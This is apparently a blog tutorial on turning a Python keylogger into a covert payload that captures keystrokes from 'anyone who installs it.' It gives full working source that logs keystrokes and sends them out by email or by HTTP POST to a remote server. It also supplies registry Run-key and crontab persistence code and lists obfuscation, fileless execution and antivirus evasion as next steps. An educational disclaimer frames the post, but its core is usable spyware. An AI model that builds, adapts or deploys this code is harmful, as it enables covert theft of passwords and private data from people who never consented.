How to make a Keylogger Payload Undectatable
Tags: keylogger, payload, programming, python
Published: 2024-02-28 16:21:42

This article is strictly for educational purposes and not to be used maliciously; the writer can not be held liable for any infraction. Use with discretion.  

Keylogger payloads refer to malicious software that monitors keystrokes on a system without authorization. 

While the principles behind their creation may seem straightforward technologically, exploring them purely for defensive purposes and ethical education is imperative.

This article abstractly analyzes keylogger payload development, focusing on common techniques that threat actors leverage. The discussion aims to spread awareness without endorsing any illegal behavior.

## Prerequisite 

This guide is for mid-level engineers or hackers trying to test their skills. Only try this if you are confident and know what you are doing. 

## Defining Objectives and Capabilities

Threat actors create keylogger payloads to achieve specific surveillance and exfiltration goals, like capturing sensitive information from a target system. Payloads are designed to transmit stolen data to remote attacker-controlled servers covertly.

**Evading Detection Through Obfuscation and Encryption**
Payloads utilize obfuscation to hide malicious logic and make analysis difficult. Encrypted communication channels may also be used to mask data exfiltration. These are intended to evade detection.

**Establishing Persistence Through Autostart Entries**
Payloads leverage modifications to operating system configurations to execute on system boot automatically. This persistence aims to survive detection efforts and periodic reboots.

**Avoiding Flagging Through Signature Management**
Threat actors continuously modify payload signatures to sidestep signature-based detection methods like antivirus software. The frequency of change is based on expected detection windows.

**Testing and Verification in Controlled Environments**
Real-world payloads would undergo rigorous testing by threat actors before potential deployment. Safe development environments like virtual machines and network traffic monitoring tools enable iteration and verification.

In our last article, we created a keylogger, and in this article, we will be converting it to a payloader that can be sent over the internet to capture data from anyone who installs it. 

Let's get started. 

First, let's get our payloader cloned from [here](https://github.com/Scofield-Idehen/python/blob/master/keylogger.py) and get started. 

## **Step 2: Modify the Keylogger**

Open the keylogger script and add functionality to send keylogs to a remote server. We'll use the `**requests**` library for simplicity. Install it by running:


    pip install requests

Modify the `**Keylogger**` class as follows:


    # ... (Previous code)
    
    import requests
    
    class Keylogger:
        # ... (Previous methods)
    
        def send_logs_to_server(self):
            server_url = "http://your-remote-server.com/receive_logs"
            payload = {"logs": self.log}
            requests.post(server_url, data=payload)
    
        # ... (Rest of the class)
    
    # ... (Remaining code)
## **Step 3: Concealment Techniques**

Implement techniques to make the payload less detectable:

- **Code Obfuscation:** Use tools like pyobfuscate or pyarmor to obfuscate the code and make it harder to analyze.
- **Encrypt Communication:** Encrypt the payload and server communication to protect against interception.
## **Step 4: Autostart Mechanism**

Ensure the payload runs automatically upon system boot:

**On Windows:**
Modify the registry to add an entry to the `**HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run**` key.


    # Add the following code at the end of your script
    import os
    
    keylogger_path = r"C:\path\to\your\keylogger_script.py"
    keylogger_name = "KeyloggerPayload"
    
    key = r"Software\Microsoft\Windows\CurrentVersion\Run"
    key_path = os.path.join("HKCU:", key)
    command = f"pythonw.exe {keylogger_path}"
    
    os.popen(f'reg add {key_path} /v {keylogger_name} /t REG_SZ /d "{command}"')

**On Linux:**
Edit the user's crontab to execute the payload at boot:


    @reboot python3 /path/to/your/keylogger_script.py
## **Step 5: Persistence**

Enhance the payload to maintain persistence:

- **Hide Processes:** Make the payload harder to detect by giving it a benign name.
- **Fileless Execution:** Explore techniques for fileless execution to avoid leaving traces on disk.
## **Step 6: Evasion Techniques**

Incorporate techniques to evade common security measures:

- **Antivirus Evasion:** Modify the payload to evade detection by antivirus software.
- **Signature Avoidance:** Change payload signatures regularly to avoid signature-based detection.
## **Step 7: Payload Testing**

Thoroughly test your payload in a controlled environment:

- **Test on Virtual Machines:** Use virtual machines to avoid unintended consequences on your host machine.
- **Monitor Network Traffic:** Analyze network traffic to ensure data exfiltration works as intended.

Find the complete code with the new addition [here.](https://github.com/Scofield-Idehen/python/blob/master/payload_keylogger) 


    import keyboard
    import smtplib
    from threading import Timer
    from datetime import datetime
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    import requests  # Added for sending logs to a server
    
    # Installation of required module
    # $ pip install keyboard requests
    
    # Parameters
    SEND_REPORT_EVERY = 60  # in seconds, reporting interval
    EMAIL_ADDRESS = "email@provider.tld"
    EMAIL_PASSWORD = "password_here"
    SERVER_URL = "http://your-remote-server.com/receive_logs"  # Replace with your server URL
    
    class Keylogger:
        def __init__(self, interval, report_method="email"):
            self.interval = interval
            self.report_method = report_method
            self.log = ""
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()
    
        def callback(self, event):
            name = event.name
            if len(name) > 1:
                if name == "space":
                    name = " "
                elif name == "enter":
                    name = "[ENTER]\n"
                elif name == "decimal":
                    name = "."
                else:
                    name = name.replace(" ", "_")
                    name = f"[{name.upper()}]"
    
            self.log += name
    
        def update_filename(self):
            start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
            end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
            self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
    
        def report_to_file(self):
            with open(f"{self.filename}.txt", "w") as f:
                print(self.log, file=f)
            print(f"[+] Saved {self.filename}.txt")
    
        def prepare_mail(self, message):
            msg = MIMEMultipart("alternative")
            msg["From"] = EMAIL_ADDRESS
            msg["To"] = EMAIL_ADDRESS
            msg["Subject"] = "Keylogger logs"
            html = f"<p>{message}</p>"
            text_part = MIMEText(message, "plain")
            html_part = MIMEText(html, "html")
            msg.attach(text_part)
            msg.attach(html_part)
            return msg.as_string()
    
        def sendmail(self, email, password, message, verbose=1):
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            server.starttls()
            server.login(email, password)
            server.sendmail(email, email, self.prepare_mail(message))
            server.quit()
            if verbose:
                print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
    
        def send_logs_to_server(self):
            payload = {"logs": self.log}
            requests.post(SERVER_URL, data=payload)
    
        def report(self):
            if self.log:
                self.end_dt = datetime.now()
                self.update_filename()
                if self.report_method == "email":
                    self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
                elif self.report_method == "file":
                    self.report_to_file()
                elif self.report_method == "server":
                    self.send_logs_to_server()
                print(f"[{self.filename}] - {self.log}")
                self.start_dt = datetime.now()
            self.log = ""
            timer = Timer(interval=self.interval, function=self.report)
            timer.daemon = True
            timer.start()
    
        def start(self):
            self.start_dt = datetime.now()
            keyboard.on_release(callback=self.callback)
            self.report()
            print(f"{datetime.now()} - Started keylogger")
            keyboard.wait()
    
    if __name__ == "__main__":
        keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="server")
        keylogger.start()
## **Conclusion**

Converting a keylogger into a payload involves multiple steps, from defining objectives to testing the final payload. Always prioritize ethical considerations, legal compliance, and responsible use of knowledge. 

Unauthorized deployment of keyloggers or payloads can lead to severe consequences. This guide is purely educational, and any use of the knowledge gained should adhere to legal and ethical standards.

In our next article, I will deploy this using a server to a host machine to track the user's keystroke. 

If you like my work and want to help me continue dropping content like this, buy me a [cup of coffee](https://www.buymeacoffee.com/scofields1s).

If you find this post exciting, find more exciting posts on [Learnhub Blog](https://blog.learnhub.africa/); we write everything tech from [Cloud computing](https://blog.learnhub.africa/category/cloud-computing/) to [Frontend Dev](https://blog.learnhub.africa/category/frontend/), [Cybersecurity](https://blog.learnhub.africa/category/security/), [AI](https://blog.learnhub.africa/category/data-science/), and [Blockchain](https://blog.learnhub.africa/category/blockchain/).

## **Resource**
- [Getting started with Folium](https://realpython.com/lessons/python-folium-get-started/)
- [20 Essential Python Extensions for Visual Studio Code](https://blog.learnhub.africa/2023/05/26/20-essential-python-extensions-for-visual-studio-code/)
- [Using Python for Web Scraping and Data Extraction](https://blog.learnhub.africa/2023/04/27/using-python-for-web-scraping-and-data-extraction/)
- [Getting Started with Python](https://www.python.org/about/gettingstarted/)
- [Creating Interactive Maps with Folium and Python](https://blog.learnhub.africa/2023/10/04/creating-interactive-maps-with-folium-and-python/)
- [Create a Keylogger](https://blog.learnhub.africa/2024/02/28/build-a-python-keylogger/)